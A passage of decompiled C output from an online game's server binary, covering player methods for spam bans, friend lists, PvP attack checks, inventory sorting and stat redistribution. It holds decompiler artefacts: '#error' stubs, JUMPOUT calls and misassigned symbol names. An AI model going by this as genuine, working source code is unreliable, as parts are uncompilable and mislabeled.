(unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1152))(v1) == 6 ) ShineObjectClass::ShinePlayer::sp_HorseOff(v1); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1152))(v1) == 5 ) ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(v1); } //----- (00533610) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SpamInitSpamerInfo(void *this) { void *v1; // esi@1 char v2; // bl@1 void *v3; // eax@2 char result; // al@3 signed int i; // eax@4 v1 = this; v2 = SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(&SpamerPenaltyData); if ( *((_DWORD *)v1 + 35945) || (v3 = malloc(4 * (unsigned __int8)v2), (*((_DWORD *)v1 + 35945) = v3) != 0) ) { for ( i = 0; i < (unsigned __int8)v2; ++i ) *(_DWORD *)(*((_DWORD *)v1 + 35945) + 4 * i) = 0; *((_DWORD *)v1 + 35946) = 0; *((_DWORD *)v1 + 35947) = 0; *((_DWORD *)v1 + 35948) = 0; *((_DWORD *)v1 + 35949) = 0; result = 1; } else { result = 0; } return result; } //----- (00533690) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSendBlockTimeToClient(int this) { unsigned int v1; // eax@1 char *v2; // esi@1 int v3; // edi@1 int v4; // ecx@1 unsigned int v5; // ecx@2 unsigned int v6; // edx@3 int v7; // eax@8 v1 = clockwatch.cw_CurrTick; v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 2120; v4 = *(_DWORD *)(this + 143788); if ( v4 <= v1 ) { v6 = 0; } else { v5 = v4 - v1; if ( v5 >= 0xA ) v6 = v5 / 0xA; else v6 = 1; } *(_DWORD *)(v2 + 2) = v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SpamSendBlockTimeToClient : Packet Too Long", 6); } } //----- (00533710) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetItemActionObserves(void *this) { return (int)((char *)this + 143628); } //----- (00533720) -------------------------------------------------------- #error "533720: undefined or illegal type '#593' (funcsize=22)" //----- (00533760) -------------------------------------------------------- #error "533760: undefined or illegal type '#593' (funcsize=22)" //----- (005337A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SetAutoSaveTime(int this, int tCurrentTime, int NextTime) { int result; // eax@1 result = tCurrentTime + 10 * NextTime; *(_DWORD *)(this + 143800) = result; return result; } //----- (005337C0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_CharTitleChangeAvailable(int this) { return *(_DWORD *)(this + 143808) < clockwatch.cw_CurrTick; } //----- (005337E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_SetCharTitleChangeAvailableTime(int this, int time) { int result; // eax@1 result = time; *(_DWORD *)(this + 143808) = time; return result; } //----- (005337F0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_GetEmptyItemInventoryCount(int this) { int v1; // esi@1 signed int result; // eax@2 signed int v3; // ebp@3 int v4; // edi@3 int i; // esi@3 InventoryLocking::UnlockedInventoryIterator itemiter; // [sp+8h] [bp-28h]@1 ItemBoxIterEmpty itemitertmp; // [sp+14h] [bp-1Ch]@1 int v8; // [sp+2Ch] [bp-4h]@1 v1 = this; ItemBoxIterEmpty::ItemBoxIterEmpty(&itemitertmp, (ItemBag *)(this + 35680), (ChargedEffectContainer *)(this + 142688)); v8 = 0; InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator( &itemiter, 9, &itemitertmp.baseclass_0, (InventoryLocking::InventoryCellLock *)(v1 + 57880)); LOBYTE(v8) = 1; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&itemiter) ) { v3 = 1; v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1160))(v1); for ( i = 0; i < v4; ++i ) { if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next(&itemiter) ) break; ++v3; } LOBYTE(v8) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&itemiter); v8 = -1; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&itemitertmp); result = v3; } else { LOBYTE(v8) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&itemiter); v8 = -1; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&itemitertmp); result = 0; } return result; } //----- (005338F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SetMysteryVaultUI(int this, char val) { char result; // al@1 result = val; *(_BYTE *)(this + 143804) = val; return result; } //----- (00533900) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SetSpamerChatBan(int this, int ChatBan) { int result; // eax@1 result = ChatBan; *(_DWORD *)(this + 143820) = ChatBan; return result; } //----- (00533910) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsSpameChatBan(int this) { return *(_DWORD *)(this + 143820) != 0; } //----- (00533920) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_AdeliaMap_SendMoveTo(void *this, __int16 nError) { void *v2; // esi@1 char *v3; // eax@3 int v4; // ecx@3 int v5; // eax@5 v2 = this; if ( nError != 10648 ) (*(void (**)(void))(*(_DWORD *)this + 3192))(); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6180; *((_WORD *)v3 + 1) = nError; v4 = *(_DWORD *)((char *)v2 + 78); *((_DWORD *)v3 + 1) = *(_DWORD *)v4; *((_DWORD *)v3 + 2) = *(_DWORD *)(v4 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ : Packet Too Long", 12); } } //----- (005339A0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_ply_ProtactionFromGameTypeCalc(int this, int nRewardValue) { unsigned int result; // eax@2 signed int v3; // edx@3 if ( *(_DWORD *)(this + 143892) == 2 ) { v3 = 500; } else { result = *(_DWORD *)(this + 143892) - 3; if ( *(_DWORD *)(this + 143892) != 3 ) return result; v3 = 0; } result = v3 * *(_DWORD *)nRewardValue / 0x3E8u; if ( v3 * *(_DWORD *)nRewardValue % 0x3E8u ) ++result; *(_DWORD *)nRewardValue = result; return result; } //----- (005339E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SetProtactionFromGameAbstate(void *this) { void *v1; // edi@1 int v2; // eax@1 int v3; // eax@2 ABSTATEINDEX v4; // eax@4 AbnormalStateDictionary::AbState::AbStateStr *v5; // eax@7 AbnormalStateDictionary::AbState::AbStateStr *v6; // esi@7 AbnormalStateInfo *v7; // eax@9 SubAbStateInfo *v8; // eax@11 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 3160))() - 1; if ( v2 ) { v3 = v2 - 1; if ( v3 ) { if ( v3 != 1 ) return; v4 = 577; } else { v4 = 576; } } else { v4 = 575; } v5 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, v4); v6 = v5; if ( v5 && (v7 = v5->index, v6->index) ) { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 1584))( v1, v1, v7->AbStataIndex, 1, v6, clockwatch.cw_CurrTick, 0, -1, 0, 0) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v1, v6->index->AbStataIndex); v8 = v6->subabstate[1].assa_info; if ( v8 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 1004))( v1, v6->index->AbStataIndex, v8->KeepTime, 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v1, v6->index->AbStataIndex, v6->subabstate[1].assa_info->KeepTime, 1); } } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_SetProtactionFromGameInfo : Abstate Data Null", 0); } } //----- (00533AA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendMenuOpenReq(void *this, int a2) { void *v2; // esi@1 char *v3; // eax@2 int v4; // eax@4 v2 = this; if ( a2 ) { ShineObjectClass::ShinePlayer::sp_EndOfTrade(this, 1); *((_WORD *)v2 + 34304) = *(_WORD *)(a2 + 4); *((_WORD *)v2 + 34305) = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1792))(a2); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8220; *((_WORD *)v3 + 1) = *((_WORD *)v2 + 34305); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_SendMenuOpenReq : Packet Too Long", 4); } } } //----- (00533B30) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_CanPvPAttack(int this, int a2) { int v2; // esi@1 bool result; // al@2 int v4; // ebx@4 int v5; // eax@4 int v6; // ebx@5 int v7; // eax@5 int v8; // ebx@7 int v9; // ebx@9 int v10; // ebx@14 int v11; // ebx@17 __int16 v12; // bx@20 __int16 v13; // bx@23 char v14; // ST04_1@25 char v15; // al@25 unsigned int v16; // eax@25 GuildWarElement *v17; // ebx@25 char v18; // bl@32 v2 = this; if ( a2 && *(_DWORD *)(this + 98) ) { CPvPIdentify::PI_Init(&g_PvPIdentify); v4 = *(_DWORD *)v2; v5 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 836))(a2); if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(v4 + 3268))(v2, v5) == 1 ) { v6 = *(_DWORD *)a2; v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 836))(v2); if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(v6 + 3268))(a2, v7) == 1 ) CPvPIdentify::PI_SetFriend(&g_PvPIdentify); } v8 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 836))(a2); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2520))(v2) == v8 ) CPvPIdentify::PI_SetHolyPromise(&g_PvPIdentify); v9 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2520))(a2); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 836))(v2) == v9 ) CPvPIdentify::PI_SetHolyPromise(&g_PvPIdentify); if ( *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[15] == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 836))(a2) ) CPvPIdentify::PI_SetWedding(&g_PvPIdentify); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2140))(v2) ) { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2140))(a2); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2140))(v2) == v10 ) CPvPIdentify::PI_SetAcademy(&g_PvPIdentify); } if ( (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2088))(v2) ) { v11 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2088))(a2); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2088))(v2) == v11 ) CPvPIdentify::PI_SetSameGuild(&g_PvPIdentify); } if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1356))(v2) != -1 ) { v12 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1356))(a2); if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1356))(v2) == v12 ) CPvPIdentify::PI_SetParty(&g_PvPIdentify); } if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1360))(v2) != -1 ) { v13 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1360))(a2); if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1360))(v2) == v13 ) CPvPIdentify::PI_SetParty(&g_PvPIdentify); } v14 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1236))(a2); v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1236))(v2); CPvPIdentify::PI_SetLevel(&g_PvPIdentify, v15, v14); v16 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2088))(v2); v17 = GuildWarManager::gwm_GetGuildWarElement(&gldwarman, v16); if ( v17 ) { CPvPIdentify::PI_SetIsInGuildWar(&g_PvPIdentify); if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 2088))(a2) ) { if ( v17->attacker == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2088))(v2) && v17->defender == (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2088))(a2) || v17->attacker == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 2088))(a2) && v17->defender == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2088))(v2) ) CPvPIdentify::PI_SetEnemyGuild(&g_PvPIdentify); } } v18 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2708))(a2); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2708))(v2) != v18 ) CPvPIdentify::PI_SetEnemyDisposition(&g_PvPIdentify); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2732))(v2) == 1 ) CPvPIdentify::PI_SetPKMode(&g_PvPIdentify); result = CPvPIdentify::PI_CanAttack(&g_PvPIdentify, *(PVPNoAttack *const *)(*(_DWORD *)(v2 + 98) + 416)) == 1; } else { result = 0; } return result; } //----- (00533DC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_Friend_SetList(int this, int pFriendData) { unsigned int v2; // eax@1 LOBYTE(v2) = 0; *(_BYTE *)(this + 143910) = 0; memset((void *)(this + 143912), 0, 0xC8u); if ( pFriendData ) { LOBYTE(v2) = *(_BYTE *)(pFriendData + 4); if ( (_BYTE)v2 ) { if ( (unsigned __int8)v2 <= 0x32u ) { *(_BYTE *)(this + 143910) = v2; v2 = 4 * (unsigned __int8)v2; memcpy((void *)(this + 143912), (const void *)(pFriendData + 5), v2); } } } return v2; } //----- (00533E20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Friend_Add(int this, int nFriendNo) { unsigned __int8 v2; // al@1 v2 = *(_BYTE *)(this + 143910); if ( v2 ) { if ( v2 <= 0x32u ) { *(_DWORD *)(this + 4 * v2 + 143912) = nFriendNo; ++*(_BYTE *)(this + 143910); } else { AssertClass::ac_AssertFail(&shineassert, "so_ply_Friend_Add : Max FriendsNumber", v2); } } } //----- (00533E60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Friend_Del(int this, int nFriendNo) { int v2; // edx@1 unsigned __int8 v3; // cl@1 signed int v4; // eax@3 int v5; // esi@4 unsigned __int8 v6; // cl@8 v2 = this; v3 = *(_BYTE *)(this + 143910); if ( v3 ) { if ( v3 <= 0x32u ) { v4 = 0; if ( v3 ) { v5 = v2 + 143912; while ( *(_DWORD *)v5 != nFriendNo ) { ++v4; v5 += 4; if ( v4 >= *(_BYTE *)(v2 + 143910) ) return; } v6 = v3 - 1; *(_BYTE *)(v2 + 143910) = v6; memcpy((void *)(v2 + 4 * v4 + 143912), (const void *)(v2 + 4 * v4 + 143916), 4 * (v6 - v4)); } } } } //----- (00533ED0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsMyFriend(int this, int nFriendNo) { int v2; // edx@1 int v3; // eax@3 int v4; // ecx@4 char result; // al@7 LOBYTE(v2) = *(_BYTE *)(this + 143910); JUMPOUT(v2, 0, Concurrency::_Order_node_base::reserve_message); if ( (unsigned __int8)v2 > 0x32u ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); v2 = (unsigned __int8)v2; v3 = 0; if ( (signed int)(unsigned __int8)v2 <= 0 ) { LABEL_7: result = 0; } else { v4 = this + 143912; while ( *(_DWORD *)v4 != nFriendNo ) { ++v3; v4 += 4; if ( v3 >= v2 ) goto LABEL_7; } result = 1; } return result; } // 533EDF: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00533F10) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::sp_Set_RegenMap(int MapName, int MapName_4, int MapName_8) { unsigned int v3; // [sp+0h] [bp-4h]@1 v3 = (unsigned int)&v3 ^ __security_cookie; __security_check_cookie((unsigned int)&v3 ^ (unsigned int)&v3 ^ __security_cookie); } //----- (00533F30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Set_RegenMap(int this, int sMap, int a3, int a4) { int v4; // eax@1 unsigned int v5; // ecx@1 unsigned int v6; // [sp+0h] [bp-4h]@1 v6 = (unsigned int)&v6 ^ __security_cookie; v4 = this; *(_DWORD *)(this + 144112) = sMap; *(_DWORD *)(this + 144120) = a4; v5 = (unsigned int)&v6 ^ v6; *(_DWORD *)(v4 + 144116) = a3; __security_check_cookie(v5); } //----- (00533F70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_Set_RegenCoord(int this, int nCoord, int a3) { int result; // eax@1 result = nCoord; *(_DWORD *)(this + 144124) = nCoord; *(_DWORD *)(this + 144128) = a3; return result; } //----- (00533F90) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::sp_Set_PrisonTime(int this, __int16 nTime) { __int16 result; // ax@1 result = nTime; *(_WORD *)(this + 32261) = nTime; return result; } //----- (00533FA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_ArrangeInvenInit(void *this) { void *v1; // esi@1 int result; // eax@1 v1 = this; result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 3300))(0); *((_DWORD *)v1 + 36034) = clockwatch.cw_CurrTick; return result; } //----- (00533FC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_ArrangeInvenDelayCheck(int this) { char result; // al@2 if ( *(_DWORD *)(this + 144136) + 50 >= clockwatch.cw_CurrTick ) { result = 1; } else { *(_DWORD *)(this + 144136) = clockwatch.cw_CurrTick; result = 0; } return result; } //----- (00533FE0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_IsArrangeInven(int this) { return *(_WORD *)(this + 144132) > 0u; } //----- (00533FF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetArrangeInven(int this, int bIsArrangeInven) { int result; // eax@1 result = ((bIsArrangeInven != 1) - 1) & 0x90; *(_WORD *)(this + 144132) = result; return result; } //----- (00534010) -------------------------------------------------------- char __stdcall ShineObjectClass::ShinePlayer::sp_ArrangeInven_nClassifyGrade(int pInven) { char result; // al@6 if ( pInven && *(_DWORD *)pInven && *(_DWORD *)(pInven + 4) && *(_DWORD *)(pInven + 8) ) { switch ( *(_DWORD *)(**(_DWORD **)(pInven + 12) + 317) ) { case 0: result = 0; break; case 5: result = 1; break; case 4: result = 2; break; case 3: result = 3; break; case 1: result = 4; break; case 2: result = 5; break; default: goto LABEL_12; } } else { LABEL_12: result = -1; } return result; } //----- (00534080) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShinePlayer::sp_ArrangeInven_nClassifyGroupA(int pInven) { signed __int16 result; // ax@5 if ( pInven && *(_DWORD *)pInven && *(_DWORD *)(pInven + 4) && *(_DWORD *)(pInven + 8) ) result = ~*(_WORD *)(**(_DWORD **)(pInven + 12) + 123); else result = -1; return result; } //----- (005340C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_IsEquipItem(int this, int nItemEquipType, int nItemId) { int result; // eax@1 ItemInform_ActionItem *v4; // eax@4 int v5; // eax@5 result = nItemEquipType; if ( nItemEquipType ) { if ( nItemId != 65535 && (v4 = (ItemInform_ActionItem *)(**(int (__thiscall ***)(_DWORD, _DWORD))(this + 32312))( this + 32312, nItemEquipType)) != 0 && (v5 = ItemInventoryCell::iic_ItemIdent(v4), (unsigned __int16)v5 != 65535) ) result = v5 == nItemId; else result = 0; } return result; } //----- (00534110) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_SAVE_LINK_REQ(int this, int netcmd, int len, __int16 handle) { return ShineObjectClass::ShinePlayer::sp_LinktoCurMapSaveData(this); } //----- (00534120) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ(int this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // eax@11 unsigned __int8 v6; // al@11 char *v7; // ebx@11 __int16 v8; // dx@11 int v9; // eax@11 char v10; // cl@11 bool v11; // zf@11 bool v12; // sf@11 SpecialItemIdent *v13; // eax@12 void *v14; // eax@15 DiceTaiSai *v15; // edi@15 const void *v16; // eax@17 int v17; // esi@17 int v18; // edx@17 int v19; // ecx@17 int v20; // eax@17 int v21; // ecx@18 int v22; // ST0C_4@18 int v23; // edx@18 int v24; // ST14_4@27 char v25; // al@27 ZoneBaseSession *v26; // eax@28 char *v27; // eax@30 int v28; // eax@31 int v29; // eax@35 const char *v30; // [sp+10h] [bp-D0h]@13 int v31; // [sp+14h] [bp-CCh]@0 int v32; // [sp+14h] [bp-CCh]@13 ITEM_INVEN redist_inv; // [sp+24h] [bp-BCh]@17 int ntotaldecitemlot; // [sp+28h] [bp-B8h]@11 int redist_lot; // [sp+2Ch] [bp-B4h]@16 int v36; // [sp+30h] [bp-B0h]@1 int redist_cell; // [sp+34h] [bp-ACh]@9 InventoryLocking::UnlockedInventoryIterator uii; // [sp+38h] [bp-A8h]@12 ItemBoxIterIdent ibii; // [sp+44h] [bp-9Ch]@12 int redist_iti; // [sp+58h] [bp-88h]@17 int v41; // [sp+5Ch] [bp-84h]@17 __int16 v42; // [sp+60h] [bp-80h]@17 __int16 v43; // [sp+C4h] [bp-1Ch]@17 char v44; // [sp+C6h] [bp-1Ah]@17 unsigned int v45; // [sp+CCh] [bp-14h]@1 int v46; // [sp+DCh] [bp-4h]@12 int v47; // [sp+E0h] [bp+0h]@1 v45 = (unsigned int)&v47 ^ __security_cookie; v4 = this; v11 = *(_BYTE *)(netcmd + 2) == 1; v36 = this; if ( !v11 ) { v27 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4291; *((_WORD *)v27 + 1) = 2760; if ( *(_DWORD *)(this + 23684) ) { operator delete(*(void **)(this + 23684)); v28 = *(_DWORD *)v4; *(_DWORD *)(v4 + 23684) = 0; (*(void (__thiscall **)(int))(v28 + 1316))(v4); } else { *((_WORD *)v27 + 1) = 2761; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v29 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v29 + 12))(v29, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Packet Too Long", 4); } return; } if ( !(_S11_19 & 1) ) { _S11_19 |= 1u; cmc_93.cmc_AllowMode = 86; atexit(_E12_31); } if ( !((1 << **(_BYTE **)(v4 + 3568)) & cmc_93.cmc_AllowMode) ) { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : invalid mode", 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2759); return; } if ( !*(_DWORD *)(v4 + 23684) || *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1068))(v4) + 3092) != -1 ) { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : no redistribute point", 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 195, 2755); return; } redist_cell = ShineObjectClass::ShinePlayer::sp_CalcTotalStat((void *)v4); if ( redist_cell < ShineObjectClass::ShinePlayer::sp_UserCheckCalcCurrentStat(v4) ) { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : too many stat", 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2754); return; } v5 = *(_DWORD *)(v4 + 23684); LOWORD(v31) = *(_WORD *)(v5 + 4); v6 = (*(int (__thiscall **)(int, _DWORD, int))(*(_DWORD *)v4 + 2828))(v4, *(_DWORD *)v5, v31); v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4305; v8 = *(_WORD *)(v4 + 4); ntotaldecitemlot = v6; *((_WORD *)v7 + 1) = v8; v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v10 = redist_cell; *((_DWORD *)v7 + 1) = v9; v7[8] = v10; v7[9] = **(_BYTE **)(v4 + 23684); v7[10] = *(_BYTE *)(*(_DWORD *)(v4 + 23684) + 1); v7[11] = *(_BYTE *)(*(_DWORD *)(v4 + 23684) + 2); v7[12] = *(_BYTE *)(*(_DWORD *)(v4 + 23684) + 3); v11 = ntotaldecitemlot == 0; v12 = ntotaldecitemlot < 0; v7[13] = *(_BYTE *)(*(_DWORD *)(v4 + 23684) + 4); *((_WORD *)v7 + 7) = 0; v7[16] = 0; if ( v12 | v11 ) { LABEL_25: if ( v11 ) { v24 = 12 * (unsigned __int8)v7[16] + 17; v25 = ProtocolPacket::pp_SetPacketLen(&gpp, 12 * (unsigned __int8)v7[16] + 17); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v25, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : Packet Too Long", v24) ) { v26 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v26); } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2836))(v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : no init item", 0); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)(v4 + 57880) + 40))(v4 + 57880, *((_WORD *)v7 + 7)); (*(void (__thiscall **)(_DWORD, _DWORD, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 103, 2758); } return; } *((_WORD *)v7 + 7) = AxialListNearGateFind::alngf_Gethandle(v4 + 57880); v13 = ItemDataBox::idb_SpecialItems(&itemdatabox); ItemBoxIterIdent::ItemBoxIterIdent( &ibii, (ItemBag *)(v4 + 35680), v13->sii_FreeStatRedistPoint, (ChargedEffectContainer *)(v4 + 142688)); v46 = 0; InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator( &uii, 9, &ibii.baseclass_0, (InventoryLocking::InventoryCellLock *)(v4 + 57880)); LOBYTE(v46) = 1; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) { while ( 1 ) { v14 = ItemBoxIterator::ibi_Get(&ibii.baseclass_0); v15 = (DiceTaiSai *)v14; redist_cell = (int)v14; if ( !v14 ) { v32 = 0; v30 = "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : ItemInventoryCell Null"; goto LABEL_14; } redist_lot = (int)ItemInventoryCell::iic_GetAttrProc((ItemInventoryCell *)v14); if ( !redist_lot ) { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : ItemAttributeClass Null", 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 103, 2758); goto LABEL_22; } MoveManager::MoveManager(v15); memcpy(&redist_iti, v16, 0x6Cu); v43 = *((_WORD *)v16 + 54); v44 = *((_BYTE *)v16 + 110); v17 = redist_lot; redist_lot = (*(int (__thiscall **)(int, __int16 *))(*(_DWORD *)redist_lot + 24))(redist_lot, &v42); redist_inv.Inven = (unsigned int)AxialListNearGateFind::alngf_GetObject((ORFieldDwrd *)&ibii) & 0x3FF | 0x2400; v18 = 3 * (unsigned __int8)v7[16]; *(_DWORD *)&v7[12 * (unsigned __int8)v7[16] + 18] = redist_iti; *(_DWORD *)&v7[4 * v18 + 22] = v41; v19 = ntotaldecitemlot; *(_WORD *)&v7[12 * ((unsigned __int8)v7[16] + 2) + 2] = v42; v20 = redist_lot; if ( v19 < redist_lot ) break; v7[12 * (unsigned __int8)v7[16] + 17] = 1; v21 = v36; v7[12 * (unsigned __int8)v7[16] + 28] = v20; v22 = redist_cell; v23 = *((_WORD *)v7 + 7); ++v7[16]; (*(void (__stdcall **)(int, int, ITEM_INVEN *, 